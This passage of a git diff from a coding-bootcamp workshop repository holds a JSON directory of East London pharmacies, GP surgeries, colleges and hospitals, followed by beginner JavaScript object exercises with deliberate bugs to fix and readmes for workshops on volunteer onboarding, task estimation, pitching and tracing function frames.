", + "address": "Unit 157, Stratford Workshops, Burford Rd, London, E15 2SP" + }, + { + "name": "Britannia Pharmacy", + "website": "http://www.britanniapharmacy.com", + "phone": "020 8555 8403 ", + "address": "155 Leytonstone Rd, London, E15 1LH" + }, + { + "name": "Vicarage Pharmacy", + "website": "https://www.nhs.uk/service-search/find-a-pharmacy/results/e15%204es", + "phone": "020 8555 1564 ", + "address": "Unit 1-3 Vicarage Health Centre, 10, Vicarage Lane, London, E15 4ES" + }, + { + "name": "Britannia Pharmacy", + "website": "http://www.britanniapharmacy.com", + "phone": "020 8534 3104 ", + "address": "6 Church St, Westham, London, E15 3HX" + }, + { + "name": "Safedale Ltd", + "website": "http://www.safedale-ltd.co.uk", + "phone": "020 8534 1386 ", + "address": "144 High Rd Leytonstone, London, E15 1UA" + }, + { + "name": "ASDA Pharmacy", + "website": "http://www.asda.com", + "phone": "020 8988 8317 ", + "address": "within Asda Leyton Mills Centre, 1, Marshall Rd, London, E10 5NH" + }, + { + "name": "Acheason Chemist", + "website": "https://www.nhs.uk/service-search/find-a-pharmacy/results/e11%204hh", + "phone": "020 8534 3154 ", + "address": "273 High Rd Leytonstone, London, E11 4HH" + }, + { + "name": "Safedale Ltd", + "website": "http://www.safedale-ltd.co.uk", + "phone": "020 8539 0983 ", + "address": "124 Langthorne Rd, London, E11 4HR" + }, + { + "name": "Wagpharm Chemists", + "website": "https://www.nhs.uk/service-search/find-a-pharmacy/results/e15%203jf", + "phone": "020 8534 3337 ", + "address": "8 Mitre Rd, London, E15 3JF" + }, + { + "name": "Langthorne Pharmacy", + "website": "http://www.langthornepharmacy.co.uk", + "phone": "020 8539 4324 ", + "address": "Langthorne Health Centre, 13, Langthorne Rd, London, E11 4HX" + }, + { + "name": "Medina Pharmacy", + "website": "https://www.nhs.uk/service-search/find-a-pharmacy/results/e15%203et", + "phone": "020 8534 2692 ", + "address": "161 Plaistow Rd, London, E15 3ET" + } + ], + "doctors": [ + { + "name": "Dr Michael WetzlerSponsored", + "website": "/customerneeds/sendenquiry/sendtoone/100040557743000020?searchedLocation=Stratford, East London", + "phone": "020 3376 4598 ", + "address": "We serve Stratford, East London|London,N16" + }, + { + "name": "Medicspot Clinic Stratford Shopping Centre", + "website": "https://www.medicspot.co.uk/clinics/england/london/newham/stratford/stratford-shopping-centre-clinic?utm_source=listings&utm_medium=local&utm_campaign=london&utm_content=stratford%20shopping%20centre", + "phone": "020 8555 9188 ", + "address": "54 The Mall, Stratford Shopping Centre, London, E15 1XE" + }, + { + "name": "Medicspot Clinic East Village", + "website": "http://www.medicspot.co.uk", + "phone": "020 3637 8398 ", + "address": "42 Liberty Bridge Rd, London, E20 1AS" + }, + { + "name": "Stratford Health Centre", + "phone": "020 8555 3936 ", + "address": "121-123 The Grove, London, E15 1EN" + }, + { + "name": "Lantern Health-Carpenters Practice", + "website": "http://www.newham.co.uk", + "phone": "020 8534 8057 ", + "address": "236-252 High St, London, E15 2JA" + }, + { + "name": "Stratford Village Surgery", + "website": "http://www.first4healthgroup.co.uk", + "phone": "020 8534 4133 ", + "address": "50c Romford Rd, London, E15 4BZ" + }, + { + "name": "Leytonstone Road Medical Centre", + "website": "https://www.nhs.uk/service-search/find-a-gp/results/e15%201lh", + "phone": "020 8534 1026 ", + "address": "157 Leytonstone Rd, London, E15 1LH" + }, + { + "name": "Drs Umrani & Qureshi", + "website": "https://www.nhs.uk/service-search/find-a-gp/results/e15%202tf", + "phone": "020 8534 2232 ", + "address": "327 High St, London, E15 2TF" + }, + { + "name": "Vicarage Lane Transitional Team", + "phone": "020 8536 2255 ", + "address": "10 Vicarage Lane, London, E15 4ES" + }, + { + "name": "Vicarage Lane Health Centre", + "phone": "0208536 2070 ", + "address": "10 Vicarage Lane, London, E15 4ES" + }, + { + "name": "Abbey Road Medical Practice", + "website": "https://www.nhs.uk/service-search/find-a-gp/results/e15%203lt", + "phone": "020 8534 2515 ", + "address": "28a Abbey Rd, London, E15 3LT" + }, + { + "name": "Dr S Kumar - High Road Surgery", + "website": "http://www.nhs.uk", + "phone": "020 8532 8460 ", + "address": "287 High Rd Leytonstone, London, E11 4HH" + }, + { + "name": "Dr P.R Bhowmik", + "website": "https://www.nhs.uk/service-search/find-a-gp/results/e15%203dj", + "phone": "020 8555 0428 ", + "address": "401 Corporation St, London, E15 3DJ" + }, + { + "name": "Dr N Amin", + "website": "http://www.nhs.net", + "phone": "020 8980 1652 ", + "address": "Ruston Street Clinic Ruston St, Bow, London, E3 2LR" + }, + { + "name": "Upton Lane Medical Centre", + "website": "http://www.uptonlanesurgery.nhs.uk", + "phone": "020 8471 6912 ", + "address": "75-77 Upton Lane Forest Gate, London, E7 9PB" + }, + { + "name": "Dr Swedan", + "website": "https://www.drswedanandpartner.co.uk", + "phone": "020 8250 7530 ", + "address": "121 Woodgrange Rd, Forest Gate, London, E7 0EP" + }, + { + "name": "Dr Driver & Partners", + "website": "http://www.drdriverandpartners.org.uk", + "phone": "020 8250 7510 ", + "address": "121 Woodgrange Rd Forest Gate, London, E7 0EP" + }, + { + "name": "Medicspot Clinic Forest Gate Woodgrange Road", + "website": "https://www.medicspot.co.uk/clinics/england/london/newham/forest-gate/forest-gate-woodgrange-road-clinic?utm_source=listings&utm_medium=local&utm_campaign=london&utm_content=forest%20gate%20woodgrange%20road", + "phone": "020 8106 5150 ", + "address": "15 Woodgrange Rd, Forest Gate, London, E7 8BA" + }, + { + "name": "Lord Lister Health Centre", + "website": "http://www.nhs.uk", + "phone": "020 8520 7550 ", + "address": "121 Woodgrange Rd Forest Gate, Newham, London, E7 0EP" + }, + { + "name": "Trowbridge Practice", + "website": "http://www.trowbridgesurgery.co.uk", + "phone": "020 8986 7781 ", + "address": "18 Merriam Avenue, London, E9 5NE" + }, + { + "name": "Medicspot Clinic Bow Roman Road", + "website": "https://www.medicspot.co.uk/clinics/england/london/tower-hamlets/bow/bow-roman-road-clinic?utm_source=listings&utm_medium=local&utm_campaign=london&utm_content=bow%20roman%20road", + "phone": "020 3637 8398 ", + "address": "625-627 Roman Rd Bow, London, E3 2RN" + }, + { + "name": "The Stroudley Wlk Hth Ctr", + "website": "http://www.stroudleywalk.nhs.uk", + "phone": "020 8981 4742 ", + "address": "The Stroudley Walk Heath Centre, 38, Stroudley Walk, London, E3 3EW" + }, + { + "name": "The Project Surgery", + "website": "http://www.theprojectsurgery.com", + "phone": "020 8472 5234 ", + "address": "Community Surgery, 10 Lettsom Walk, London, E13 0LN" + }, + { + "name": "Orient Practice", + "phone": "020 3405 6840 ", + "address": "Oliver Rd Polyclinic 1st floor, 75, Oliver Rd, London, E10 5LG" + }, + { + "name": "Dr A Sanyal - Bromley by Bow Health Centre", + "website": "http://www.bbbc.org.uk", + "phone": "020 3728 0980 ", + "address": "St. Leonards St, London, E3 3BT" + } + ], + "colleges": [ + { + "name": "Newham College of Further Education", + "website": "http://www.newham.ac.uk", + "phone": "020 8257 4000 ", + "address": "Get Ahead Shop, 40, Broadway, London, E15 4QS" + }, + { + "name": "Hafs Academy", + "phone": "020 8555 4260 ", + "address": "Unit 3, Stratford, LONDON, E15 1JW" + }, + { + "name": "Marriott Academy of Achievement", + "website": "http://www.marriottacademy.co.uk", + "phone": "020 7175 1536 ", + "address": "University Square Stratford, Great Eastern Rd, London, E15 1BB" + }, + { + "name": "UK Community College", + "phone": "020 8519 7362 ", + "address": "Broadway Chambers, LONDON, E15 4QS" + }, + { + "name": "London School of Business", + "website": "http://www.lsbuk.com", + "phone": "020 3305 8124 ", + "address": "Boardman House, 64, Broadway, Stratford, London, E15 1NT" + }, + { + "name": "Building Crafts College", + "website": "http://www.thebcc.ac.uk", + "phone": "020 8522 1705 ", + "address": "Kennard Rd, Stratford, London, E15 1AH" + }, + { + "name": "Newtec College", + "phone": "0208519 5843 ", + "address": "45 West Ham Lane, London, E15 4PH" + }, + { + "name": "Sarah Bonnell School", + "website": "http://www.sarahbonnellonline.co.uk/", + "phone": "020 8534 6791 ", + "address": "Deanery Rd, London, E15 4LP" + }, + { + "name": "Interlink College of Technology & Business Studies", + "phone": "020 8522 7600 ", + "address": "329-333 High St, London, E15 2TF" + }, + { + "name": "Al-Duroosul Muthmira Trust", + "website": "http://www.hafsacademy.co.uk", + "phone": "020 8555 4260 ", + "address": "Unit 3 Maryland Ind Est 26, Maryland Rd, London, E15 1JW" + }, + { + "name": "Colegrave Primary School", + "website": "http://www.colegrave.newham.sch.uk/", + "phone": "020 8534 0243 ", + "address": "Henniker Rd, London, E15 1JY" + }, + { + "name": "John F Kennedy Special School", + "website": "http://www.johnfkennedy.newham.sch.uk/", + "phone": "020 8534 8544 ", + "address": "Pitchford St, London, E15 4RZ" + }, + { + "name": "School 21", + "website": "http://www.school21.org.uk", + "phone": "020 8262 2121 ", + "address": "Pitchford St, London, E15 4RZ" + }, + { + "name": "Westminster Central College", + "website": "http://www.wccuk.org", + "phone": "020 8555 8686 ", + "address": "275 High St, London, E15 2TF" + }, + { + "name": "East London Express UK Ltd", + "website": "http://www.eastlondonexpress.com/", + "phone": "020 8534 6456 ", + "address": "Unit 107, 275-285, High St, London, E15 2TF" + }, + { + "name": "Chobham Academy", + "website": "http://www.chobhamacademy.org.uk/", + "phone": "020 3747 6060 ", + "address": "40 Cheering Lane, London, E20 1BD" + }, + { + "name": "Newham College of Further Education", + "website": "http://www.newham.ac.uk", + "phone": "020 8257 4000 ", + "address": "Stratford Campus Welfare Rd, London, E15 4HT" + }, + { + "name": "Carpenters Primary School", + "website": "http://www.carpenters.newham.sch.uk", + "phone": "020 8534 4759 ", + "address": "Friendship Way, London, E15 2JQ" + }, + { + "name": "St Francis' Catholic Primary School", + "website": "http://www.st-francis.newham.sch.uk", + "phone": "020 8534 0476 ", + "address": "Maryland Park, London, E15 1HD" + }, + { + "name": "SGMC", + "website": "http://www.sgmc.ac.uk", + "phone": "07939 083509 ", + "address": "65 Colegrave Rd, London, E15 1DZ" + }, + { + "name": "Newham College of Furthur Education", + "website": "http://www.newham.ac.uk", + "phone": "020 8257 4000 ", + "address": "Royal Docks Learning Zone, Prince Regent Lane, London, E16 3HS" + }, + { + "name": "Education Links", + "phone": "020 8555 0850 ", + "address": "195 Vicarage Lane, Stratford, LONDON, E15 4HJ" + }, + { + "name": "Maryland Primary School", + "website": "http://www.maryland.newham.sch.uk", + "phone": "020 8534 8135 ", + "address": "Gurney Rd, London, E15 1SL" + }, + { + "name": "Park Primary School", + "website": "http://www.park.newham.sch.uk/", + "phone": "020 8534 4065 ", + "address": "Mathews Park Avenue, London, E15 4AE" + }, + { + "name": "West Ham Church Primary School", + "website": "http://www.westham.newham.sch.uk/", + "phone": "020 8534 3904 ", + "address": "Portway, London, E15 3QG" + } + ], + "hospitals": [ + { + "name": "Oasis Group (London) Ltd", + "website": "http://www.oasisgrouplondon.org", + "phone": "020 8257 7259 ", + "address": "first floor Suite 103a, City Gate House, Romford Rd, London, E7 9HZ" + }, + { + "name": "St Clements Hospital", + "phone": "020 7377 7984 ", + "address": "St Clements Adult Mental Health, Bow Road, LONDON, E3 4LL" + }, + { + "name": "The Lodge", + "phone": "0208510 2340 ", + "address": "1 Crozier Terrace, London, E9 6AT" + }, + { + "name": "Newham University Hospital", + "website": "https://www.nhs.uk", + "phone": "020 7476 4000 ", + "address": "Glen Rd, London, E13 8SL" + }, + { + "name": "Homerton Hospital", + "website": "http://www.homerton.nhs.uk", + "phone": "020 8510 5555 ", + "address": "Homerton Row, London, E9 6SR" + }, + { + "name": "East Ham Day Hospital", + "phone": "020 8586 5100 ", + "address": "Shrewsbury Rd, London, E7 8QR" + }, + { + "name": "East Ham Memorial Hospital", + "phone": "020 8586 5000 ", + "address": "Shrewsbury Rd, Forest Gate, London, E7 8QR" + }, + { + "name": "Mile End Hospital", + "website": "http://www.nhs.uk", + "phone": "020 8223 8211 ", + "address": "275 Bancroft Rd, London, E1 4DG" + }, + { + "name": "The Summit Medical Practice", + "phone": "020 8552 2299 ", + "address": "East Ham Memorial Building 300b, Shrewsbury Road, London, E7 8QP" + }, + { + "name": "N H S Tower Hamlets C C G", + "website": "http://www.towerhamletsccg.nhs.uk", + "phone": "020 3688 2500 ", + "address": "2nd Floor Alderney Building, Mile End Hospital, London, E1 4DG" + }, + { + "name": "The North East London Mental Health Trust", + "phone": "020 8535 6478 ", + "address": "James Lane, London, E11 1NU" + }, + { + "name": "London Hyperbaric Medicine Ltd", + "website": "http://www.londonhyperbaric.com", + "phone": "020 8539 1222 ", + "address": "Whipps Cross Hospital, Whipps Cross Rd, London, E11 1NR" + }, + { + "name": "Whipps Cross Hospital", + "website": "http://www.bartshealth.nhs.uk", + "phone": "020 8539 5522 ", + "address": "Whipps Cross Rd, Leytonstone, London, E11 1NR" + }, + { + "name": "East London NHS Foundation Trust", + "website": "http://www.elft.nhs.uk", + "phone": "020 3222 0685 ", + "address": "51 Three Colts Lane, London, E2 6BF" + }, + { + "name": "BMI the London Independent Hospital", + "website": "http://www.bmihealthcare.co.uk/lih", + "phone": "020 7780 2400 ", + "address": "1 Beaumont Square, London, E1 4NL" + }, + { + "name": "The Royal London Hospital", + "website": "https://www.nhs.uk", + "phone": "020 3416 5000 ", + "address": "East Mount Street, Shadwell, LONDON, E1 1BA" + } + ] +} diff --git a/objects/100.js b/objects/100.js new file mode 100644 index 00000000..81df5c21 --- /dev/null +++ b/objects/100.js @@ -0,0 +1,28 @@ +// Predict and explain... +// What will be logged by this code? +// Check your prediction and explanation by running the code. + +const person1 = { + "name": "Abdi", + "location": "London", + "id_number": 17, +}; + +const person2 = { + "name": "Shadi", + "job": "Software Engineer", + "location": "London", + "id_number": 28, +}; + +const person3 = person2; + +person3.location = "Manchester"; + +console.log(person1.name); +console.log(person2["name"]); +console.log(person1.id_number > person2["id_number"]); +console.log(person1.job); +console.log(person1.location === person2.location); +console.log(person1.location === person3.location); +console.log(person2.location === person3.location); diff --git a/objects/200.js b/objects/200.js new file mode 100644 index 00000000..0d7df594 --- /dev/null +++ b/objects/200.js @@ -0,0 +1,14 @@ +// Predict and explain... +// What will happen when this program is run? +// Check your prediction and explanation by running the program. +// Fix anything that needs fixing. + +const person = { + "name": "Jemima", + "location", + "id_number" = 9, +}; + +console.assert(person.name === "Jemima"); +console.assert(person.location === "Glasgow"); +console.assert(person.id_number === 9); diff --git a/objects/300.js b/objects/300.js new file mode 100644 index 00000000..e17cdfc9 --- /dev/null +++ b/objects/300.js @@ -0,0 +1,24 @@ +// Predict and explain... +// What will happen when this program is run? +// Check your prediction and explanation by running the program. +// Fix anything that needs fixing. + +function checkLivesNearCYF(person) { + const cyfLocations = ["Birmingham", "Cape Town", "Glasgow", "London", "Manchester"]; + return cyfLocations.includes(person.location); +} + +const mo = { + "name": "Mo", + "city": "Glasgow", + "focus": "React", +}; + +const sayed = { + "name": "Sayed", + "city": "Edinburgh", + "focus": "SQL", +} + +console.assert(checkLivesNearCYF(mo)); +console.assert(!checkLivesNearCYF(sayed)); diff --git a/objects/400.js b/objects/400.js new file mode 100644 index 00000000..981f9048 --- /dev/null +++ b/objects/400.js @@ -0,0 +1,46 @@ +// Predict and explain... +// What will happen when this program is run? +// Check your prediction and explanation by running the program. +// Fix anything that needs fixing. + +function printSaladRecipe(forPerson) { + const saladRecipe = { + "name": "salad", + "ingredients": ["lettuce", "corn", "carrots", "cucumber"], + "rating_out_of_10": 8, + "steps": [ + "Shred the lettuce", + "Cut the carrots into small pieces", + "Slice the cucumber", + "Mix all the vegetables together in a bowl", + ] + }; + + if (forPerson.eatsMeat) { + saladRecipe.push("chicken"); + saladRecipe.steps.push("Mix in the chicken"); + } + + console.log(`For ${forPerson.name} to make ${saladRecipe.name}:`); + console.log("Get:"); + for (const ingredient of saladRecipe.ingredients) { + console.log(` * ${ingredient}`); + } + for (const step of saladRecipe.steps) { + console.log(step); + } +} + +const person1 = { + "name": "Ola", + "eatsMeat": true, +}; + +const person2 = { + "name": "Steve", + "eatsMeat": false, +}; + +printSaladRecipe(person1); +console.log(""); +printSaladRecipe(person2); diff --git a/objects/500.js b/objects/500.js new file mode 100644 index 00000000..c1c6ffa2 --- /dev/null +++ b/objects/500.js @@ -0,0 +1,28 @@ +// Fill in the code below so that the tests pass. + +const people = []; + +people.push({ + "name": "Saqib", + "favourite_food": "salad", +}); + +people.push({ + "name": "Shadi", + "favourite_food": "mango", +}); + +people.push({ + "name": "Navid", + "favourite_food": "macarons", +}); + +const favouriteFoods = []; + +// TODO: Fill the array favouriteFoods with the favourite foods of each person. +// You must not type the strings (i.e. your solution should not involve you typing the word "salad"). + +console.assert(favouriteFoods.length === 3); +console.assert(favouriteFoods.includes("salad")); +console.assert(favouriteFoods.includes("mango")); +console.assert(favouriteFoods.includes("macarons")); diff --git a/objects/600.js b/objects/600.js new file mode 100644 index 00000000..ffa7069b --- /dev/null +++ b/objects/600.js @@ -0,0 +1,16 @@ +// Predict and explain... +// What will happen when this program is run? +// Check your prediction and explanation by running the program. +// Fix anything that needs fixing. + +const person = { + "name": "Manu", + "favourite_ice_cream": "vanilla", + "favourite_topping": "marshmallows", +}; + +function assertFieldEquals(object, field, targetValue) { + console.assert(object.field === targetValue); +} + +assertFieldEquals(person, "favourite_ice_cream", "vanilla"); diff --git a/objects/readme.md b/objects/readme.md new file mode 100644 index 00000000..21dac13f --- /dev/null +++ b/objects/readme.md @@ -0,0 +1,22 @@ +## Instructions + +This workshop aims to _check your understanding_. + +Each task will explain whether or not you should run the code. + +For each task, you can use [Data Groups Sprint 2 prep](https://programming.codeyourfuture.io/data-groups/sprints/2/prep/) +to help you with the questions. +You can also use documentation to look up any functions that are unfamiliar. +Don't use ChatGPT or any other AI tool to help you. + +## 🧰 Setup + +1. Get into pairs or groups of up to three. +2. Make sure you have [a clone of the CYF-Workshops](https://github.com/CodeYourFuture/CYF-Workshops) repository on your local machine + +This workshop can be found here 👉 https://github.com/CodeYourFuture/CYF-Workshops/tree/main/objects +In this workshop, each file contains a different problem at a particular level. + +You should start this project at **Level 100** and then move through the levels in ascending order, **level 200**, **300** etc. + +➡️ [Go to Level 100](https://github.com/CodeYourFuture/CYF-Workshops/blob/main/objects/100.js) diff --git a/onboarding-new-volunteers/README.md b/onboarding-new-volunteers/README.md new file mode 100644 index 00000000..afd051dc --- /dev/null +++ b/onboarding-new-volunteers/README.md @@ -0,0 +1,50 @@ +# Onboarding new volunteers + +## Learning Objectives + +```objectives +- [ ] Identify things a new volunteer may not know about how to participate in class. +- [ ] List things it's useful to tell a new volunteer to help them participate in class. +- [ ] Identify differences in how different volunteers may need orientation based on their background. +- [ ] Identify what is likely to make a new volunteer more or less likely to volunteer again. +``` + +## Workshop + +As a community, it's all of our job to make sure that on a volunteer's first day they: +* Feel welcomed +* Know what to do +* Feel empowered, not blocked or confused +* Know how to get help + +In this workshop we will practice some of these skills. + +Get into groups of about 5. + +Take turns to role-play. Imagine we're in a class focusing on CSS flex-box and grid. + +### Roles + +One participant should act as an experienced volunteer. + +One participant should act as a volunteer showing up to their first class. Pick one of these personas. Don't tell people which one you've chosen. +1. A professional frontend engineer with several years of experience. You know CSS well, but have never taught before. +2. A recent boot-camp graduate who has learnt CSS, but never used it outside of personal projects. +3. A professional backend engineer who knows many programming languages well, but doesn't know the particular CSS we're covering today. +4. A CYF graduate from a previous cohort which used a more lecture-style rather than flipped classroom. + +The rest of the group should watch the exchange. + +### Interaction + +Set a timer for 5 minutes. + +The experienced volunteer should approach the new volunteer, and have a conversation. Your goal is to help them get started, and help ensure they will have a good first day. + +After 5 minutes stop. Have a discussion about what went well, and what could have gone better. + +Write down takeaways which will help you have this conversation in real life. + +### Discussion + +Gather everyone together and compare your groups' takeaways. diff --git a/package-lock.json b/package-lock.json new file mode 100644 index 00000000..4cc1f182 --- /dev/null +++ b/package-lock.json @@ -0,0 +1,6 @@ +{ + "name": "CYF-Workshops", + "lockfileVersion": 3, + "requires": true, + "packages": {} +} diff --git a/package.json b/package.json new file mode 100644 index 00000000..0967ef42 --- /dev/null +++ b/package.json @@ -0,0 +1 @@ +{} diff --git a/paint-the-room/readme.md b/paint-the-room/readme.md new file mode 100644 index 00000000..a49a522b --- /dev/null +++ b/paint-the-room/readme.md @@ -0,0 +1,103 @@ +# Paint The Room 🧑‍🎨 + +Understanding how to estimate tasks is a valuable skill that goes beyond just software development — it's useful in many areas of life and work. Whether you're planning a project at your job, managing a household renovation, or coordinating a group activity, the ability to break down a large task, consider hidden complexities, and accurately estimate effort can reduce stress, and help ensure success. + +Let's take a real-world example. + +Your project manager comes to you and says he has a customer who wants you to develop an app. He wants to know how quickly can you deliver it and how much should we charge the customer. You've developed a couple of similar apps so you tell your project manager you think it will take two developers one month and cost 10,000MD (made up dollars). + +Suddenly three weeks into the project you realize that the app wasn't as straightforward as you initially thought: it will be at least another month until you will be close to done, and will cost another 8,000MD at least. Your project manager is furious, your customer is furious, and you are stressed because of the pressure to deliver. + +How to avoid this situation?! + +Today we will learn some effective techniques that help us plan large complicated tasks through an interactive game. + +## Learning Objective 🧐 + +We will play a game to learn important techniques to help us estimate our work. After this workshop, participants will be able to: +```objectives +- [ ] Use relative estimation to compare the effort involved in two different tasks. +- [ ] Assign story points to tasks based on complexity and effort. +- [ ] Elaborate on user stories by asking questions, raising assumptions, adding necessary details and clarifications. +- [ ] Split large tasks into smaller, more manageable stories. +- [ ] Participate in Planning Poker to collaboratively estimate tasks. +- [ ] Explain what a backlog is. +``` +## Set up 🌼 + +- Split into groups of no more than 5 +- You will need some paper and something to write with. + +## The game 🎲 + +Your team has been tasked with painting the room you are in. The customer’s vague requirement is: “Please paint the room.” Before you begin you need to tell your customer how much it will cost and how long it will take. If you underestimate the cost or time it will take, you will lose money. If you overestimate the cost or the time it will take by too much, you will lose the job to a competitor! + +Your initial project backlog (work that needs to be done) consists of: + +- Paint the north wall +- Paint the south wall +- Paint the east wall +- Paint the west wall +- Paint the ceiling +- Paint the floor + +### Part 1: Establish the Anchor Feature + +1. Choose one wall in the room that appears to require a medium level of effort compared to the others. + + This wall serves as the anchor for all future relative estimations. + +2. Choose a scale. Some people use [T-shirt sizes](https://asana.com/resources/t-shirt-sizing) (XS, S, M, L, XL), some use points (1-5). Whatever the scale that you as a group choose, the anchor wall will be in the middle of your scale. + + "[Story Points](https://asana.com/resources/story-points)" are abstract and are used to estimate the effort involved, not the time. + +### Part 2: Estimate One Wall + +1. [Planning poker ](https://planning-poker-agile.web.app/about-planning-poker)time! Pick Another Wall. Everyone write down your estimate in comparison to your anchor wall. Wait until everyone is ready and reveal your estimates at the same time. + +2. Discuss Estimates: + + Focus on the high and low estimates. Ask participants to explain their reasoning. + +3. Clarify Assumptions: Do we need masking tape for trim and windows? Should we remove electrical outlet covers? Is the prep work done in advance? + + ### Part 3: Backlog Refinement + +1. [Backlog grooming](https://asana.com/resources/backlog-refinement): What new tasks were discovered upon discussion of the assumptions. + Examples: +- Remove electrical outlet covers +- Apply masking tape around windows +- Purchase supplies +- Cleaning up + +2. Story Elaboration: Refine the backlog by adding details about preparation, tools, or other hidden requirements. + +3. Refinement: If the task involves more complexity than anticipated, split the story into smaller tasks and provide estimates (e.g., remove fixtures, paint ceiling, reinstall fixtures). + +### Part 4: Estimate the Rest + +1. Repeat Parts 2 (Planning Poker) and 3 (Backlog Refinement) for the other walls, floor, and ceiling. + +### Part 5: Reflection + +#### Key Takeaways: + +The value of Planning Poker is in the conversation. As everyone shares their assumptions, the team gains a better understanding of the scope of work. + +Relative estimation helps teams avoid anchoring on time and encourages thinking about effort in comparison to other tasks. + +Backlog refinement happens naturally as the team discusses assumptions and new tasks emerge. + +#### Reflection: + +As a large group come together and discuss: + +- What were some hidden assumptions your team made during the estimation process? +- How did those assumptions affect your initial estimates, and how were they uncovered during the discussion? +- Did discussing your estimates with the group help you refine your thinking or challenge your assumptions? How? +- Why is it beneficial to break large tasks (like "paint the room") into smaller, more manageable stories? +- How does splitting stories help teams deliver value more quickly or manage risk better? +- How does regularly refining the backlog contribute to a more accurate project plan? +- Why might relative estimation (comparing tasks to each other) be more useful than absolute estimation (assigning exact hours/days)? +- What challenges did you encounter when using relative estimation, and how did you overcome them? +- Why might this work better for estimating how much work a team can accomplish in a week? diff --git a/pitch-camp/readme.md b/pitch-camp/readme.md new file mode 100644 index 00000000..128eb818 --- /dev/null +++ b/pitch-camp/readme.md @@ -0,0 +1,94 @@ +# 📢 Pitch Camp for ⚡ Lightning Talks + +### Welcome + +Hey everyone, welcome to our Pitch Camp for Tech Demos. This is a quick, **one-hour workshop** where we're going to help you nail the first minute of your lightning talk for a tech demo. It's inspired by [Fast Forward's cool approach](https://www.ffwd.org/pitchcamp/) to elevator pitches but tweaked for tech demos, especially for you. + +### Who's This For? + +If you're a junior developer getting ready for any kind of tech presentation - think Friday demos, hackathons, interviews, meetups, or even bigger stages - this is for you. We're here to help you start strong and grab your audience's attention. + +### Goals + +**Get to the Point:** We'll help you boil down your project to a few punchy sentences that make people want to listen. +**Hook Your Audience Fast:** Learn how to make your first minute so interesting that your audience can't help but pay attention. +**Feedback is Gold:** You'll get to practice your start and tweak it with advice. + +### Pre-Work + +Before you come, think about your project and what makes it cool. What's the most interesting thing about it? What's the problem it solves or will solve? What's the most surprising thing you've learned so far? We'll use this to build your opening. + +Each person, make a copy of [Fast Forward's Pitch Camp Worksheet](https://docs.google.com/document/d/1gfkKPAHNKCdrS3A7nai51iK4gkJcna4B1tOk98ZKCUw/copy) and fill it out before the workshop. + +## Learning Objectives + +```objectives +- [ ] Write a clear, concise, and compelling opening for your tech demo +- [ ] Deliver your opening to a small group +- [ ] Ask for constructive feedback on your opening and implement changes +``` + +## What We'll Do + +1. Fast Forward's Formula (10 minutes): You will structure your opening for maximum impact. +1. Pitch to a Partner (10 minutes): You'll pair up and practice your opening with a partner. You'll get feedback you can use in the next exercise. +1. Revise and Review (10 minutes): You'll revise your opening based on feedback and review your worksheet. +1. Pitch again (10 minutes): You'll pitch your opening to a new partner and get more feedback. + +#### 1. Worksheet Review (10 minutes): + + + +Set a timer for 10 minutes and review and prepare your completed worksheet pitch. Make sure you have: + +1. 👋🏾 **Your Introduction**: Who are you - tell us something about who you are and what has inspired you to work on your product? +1. 🤷🏾 **Your Problem Statement**: What's the problem you're solving? +1. 🙌🏾 **Your Solution Statement**: How does your project solve the problem? +1. 🫱🏼‍🫲🏿 **Your Customer**: Who's your target audience, customer, or client? +1. 💪🏼 **Your Team and/or You**: Why are you the right person to solve this problem? +1. 🤙🏽 **Your Ask**: What do you need from your audience? + + + +### 2. Pitch to a Partner (10 minutes): + + + +Set a timer for 10 minutes and break into pairs. Each person will pitch their opening to their partner. Keep your eyes on the time and stop talking after 60 seconds. + +After you have both pitched, each partner will give feedback on what they liked and what could be improved. Some questions to guide feedback: + +- Did you understand what the project was about? +- Should I speak slower or faster? +- What was the most interesting part? + + + +### 3. Revise and Review (10 minutes): + + + +Set a timer for 10 minutes and revise your opening based on the feedback you received. Include a quantifiable metric if you can. Review your worksheet and make sure you've covered all the points. + + + +### 4. Pitch again (10 minutes) + + + +Set a timer for 10 minutes and pair up with a new partner. Pitch your opening again and get more feedback. Make notes on what you want to change or improve. + + + +Finis! You've completed the workshop. You should now have a clear, concise, and compelling opening for your tech demo. 🎉 + +## Acceptance Criteria + +- I have completed the Fast Forward Pitch Camp Worksheet +- I have pitched at least twice and received feedback +- I have revised my opening based on feedback +- I have a clear, concise, and compelling opening for my tech demo + +## Resources + +To learn more about Fast Forward's approach to pitching, check out their [Pitch Camp](https://www.ffwd.org/pitchcamp/) page. If you have a non-profit project you are working on, sign up for their next workshop. CYF staff have attended many times and found it super helpful. diff --git a/playing-computer/example-0.js b/playing-computer/example-0.js new file mode 100644 index 00000000..6562feea --- /dev/null +++ b/playing-computer/example-0.js @@ -0,0 +1,17 @@ +// WARM UP ROUND +// no function declarations in here +// so only one person "plays" the global frame + +let height = 10; +let length = 20; +let area = height * length; +console.log(`area is ${area}`); + +height += 3; +length = length * 5; + +console.log(`height is now ${height}`); +console.log(`length is now ${length}`); + +area = height * length; +console.log(`area is ${area}`); diff --git a/playing-computer/example-1.js b/playing-computer/example-1.js new file mode 100644 index 00000000..54cecf2b --- /dev/null +++ b/playing-computer/example-1.js @@ -0,0 +1,16 @@ +// EXAMPLE 1 +// now there is a global frame, and an add frame +// one person will "play" the global frame +// another person will "play" the add frame + +function add(a, b) { + return a + b; +} + +let x = 10; +let y = 32; +x = x + 1; +y = y - 4; +console.log("x is ", x); +console.log("y is ", y); +console.log(add(x, y)); diff --git a/playing-computer/example-2.js b/playing-computer/example-2.js new file mode 100644 index 00000000..7c9a8911 --- /dev/null +++ b/playing-computer/example-2.js @@ -0,0 +1,19 @@ +// EXAMPLE 2 +// now there will be a global frame, getFirstChar frame, getLastChar frame +// one person will need to "play" one of these frames + +const alphabet = "abcdefghijklmnopqrstuvwxyz"; + +function getFirstChar(str) { + return str[0]; +} + +function getLastChar(str) { + const lastCharIndex = str.length - 1; + return str[lastCharIndex]; +} + +const firstChar = getFirstChar(alphabet); +const lastChar = getLastChar(alphabet); +console.log(`The first character in the alphabet is ${firstChar}`); +console.log(`The last character in the alphabet is ${lastChar}`); diff --git a/playing-computer/example-3.js b/playing-computer/example-3.js new file mode 100644 index 00000000..dea99732 --- /dev/null +++ b/playing-computer/example-3.js @@ -0,0 +1,19 @@ +// Assign people to the different frames you'll need... + +function convertToPercentage(decimalNumber) { + const percentage = `${decimalNumber.toFixed(2) * 100}%`; + return percentage; +} + +function writeRatioWithPercentage(ratio) { + const firstPart = Number(ratio[0]); + const secondPart = Number(ratio[2]); + const allParts = firstPart + secondPart; + + const firstPartPercentage = convertToPercentage(firstPart / allParts); + const secondPartPercentage = convertToPercentage(secondPart / allParts); + return 